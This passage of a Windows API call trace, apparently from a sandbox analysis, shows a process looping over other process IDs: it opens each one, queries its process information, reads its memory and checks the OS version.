hProcess=0xa9c, lpBaseAddress=0x492650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.746] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.747] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.747] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.747] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.747] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.747] malloc (_Size=0x6c) returned 0xea8ba0 [0351.747] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922bc, lpBuffer=0xea8ba0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0351.748] free (_Block=0xea8ba0) [0351.748] CloseHandle (hObject=0xa9c) returned 1 [0351.749] _ui64tow_s (in: _Value=0x1614, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5652") returned 0x0 [0351.749] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5652") returned 4 [0351.749] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.749] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.750] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1614) returned 0xa9c [0351.750] GetLastError () returned 0x0 [0351.750] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.750] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.750] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.751] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.751] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.752] malloc (_Size=0x54) returned 0xea9cf0 [0351.752] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22a4, lpBuffer=0xea9cf0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9cf0*, lpNumberOfBytesRead=0x0) returned 1 [0351.753] free (_Block=0xea9cf0) [0351.753] CloseHandle (hObject=0xa9c) returned 1 [0351.753] _ui64tow_s (in: _Value=0x161c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5660") returned 0x0 [0351.754] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5660") returned 4 [0351.754] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.754] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.755] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x161c) returned 0xa9c [0351.755] GetLastError () returned 0x0 [0351.755] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.755] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.755] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.755] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.755] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.756] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.756] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.756] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.757] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.757] malloc (_Size=0x6c) returned 0xea9620 [0351.757] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a22bc, lpBuffer=0xea9620, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0351.758] free (_Block=0xea9620) [0351.758] CloseHandle (hObject=0xa9c) returned 1 [0351.758] _ui64tow_s (in: _Value=0x1638, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5688") returned 0x0 [0351.759] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5688") returned 4 [0351.759] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.759] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.760] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1638) returned 0xa9c [0351.760] GetLastError () returned 0x0 [0351.760] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.760] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.760] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.760] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.761] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762258, lpBuffer=0x5ec5a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.761] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.761] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.761] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.761] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x761c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.762] malloc (_Size=0x78) returned 0xea8d20 [0351.762] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7622c8, lpBuffer=0xea8d20, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0351.763] free (_Block=0xea8d20) [0351.763] CloseHandle (hObject=0xa9c) returned 1 [0351.763] _ui64tow_s (in: _Value=0x1640, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5696") returned 0x0 [0351.764] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5696") returned 4 [0351.764] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.764] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.765] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1640) returned 0xa9c [0351.765] GetLastError () returned 0x0 [0351.765] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.765] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.765] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.765] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.765] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.766] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.766] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.766] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.766] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.766] malloc (_Size=0x6e) returned 0xea96a0 [0351.766] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22be, lpBuffer=0xea96a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.768] free (_Block=0xea96a0) [0351.768] CloseHandle (hObject=0xa9c) returned 1 [0351.768] _ui64tow_s (in: _Value=0x1648, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5704") returned 0x0 [0351.768] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5704") returned 4 [0351.768] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.768] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.769] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1648) returned 0xa9c [0351.769] GetLastError () returned 0x0 [0351.770] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.770] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.770] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.770] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.770] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.771] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.771] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.771] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.771] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.771] malloc (_Size=0x6c) returned 0xea9820 [0351.771] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222bc, lpBuffer=0xea9820, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9820*, lpNumberOfBytesRead=0x0) returned 1 [0351.773] free (_Block=0xea9820) [0351.773] CloseHandle (hObject=0xa9c) returned 1 [0351.773] _ui64tow_s (in: _Value=0x1650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5712") returned 0x0 [0351.773] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5712") returned 4 [0351.774] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.774] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.775] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1650) returned 0xa9c [0351.775] GetLastError () returned 0x0 [0351.775] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5626e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x562258, lpBuffer=0x5ec5a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.776] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.776] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x561c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.776] malloc (_Size=0x9c) returned 0xe96600 [0351.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5622ec, lpBuffer=0xe96600, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96600*, lpNumberOfBytesRead=0x0) returned 1 [0351.777] free (_Block=0xe96600) [0351.777] CloseHandle (hObject=0xa9c) returned 1 [0351.778] _ui64tow_s (in: _Value=0x1658, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5720") returned 0x0 [0351.778] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5720") returned 4 [0351.778] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.778] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.779] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1658) returned 0xa9c [0351.779] GetLastError () returned 0x0 [0351.779] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.779] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152680, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152258, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.780] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.780] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.781] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x151c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.781] malloc (_Size=0x7c) returned 0xe87670 [0351.781] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1522cc, lpBuffer=0xe87670, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87670*, lpNumberOfBytesRead=0x0) returned 1 [0351.781] free (_Block=0xe87670) [0351.782] CloseHandle (hObject=0xa9c) returned 1 [0351.782] _ui64tow_s (in: _Value=0x1660, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5728") returned 0x0 [0351.782] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5728") returned 4 [0351.782] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.782] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.783] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1660) returned 0xa9c [0351.783] GetLastError () returned 0x0 [0351.783] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.783] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472620, lpBuffer=0x5ecc60, nSize=0x120, 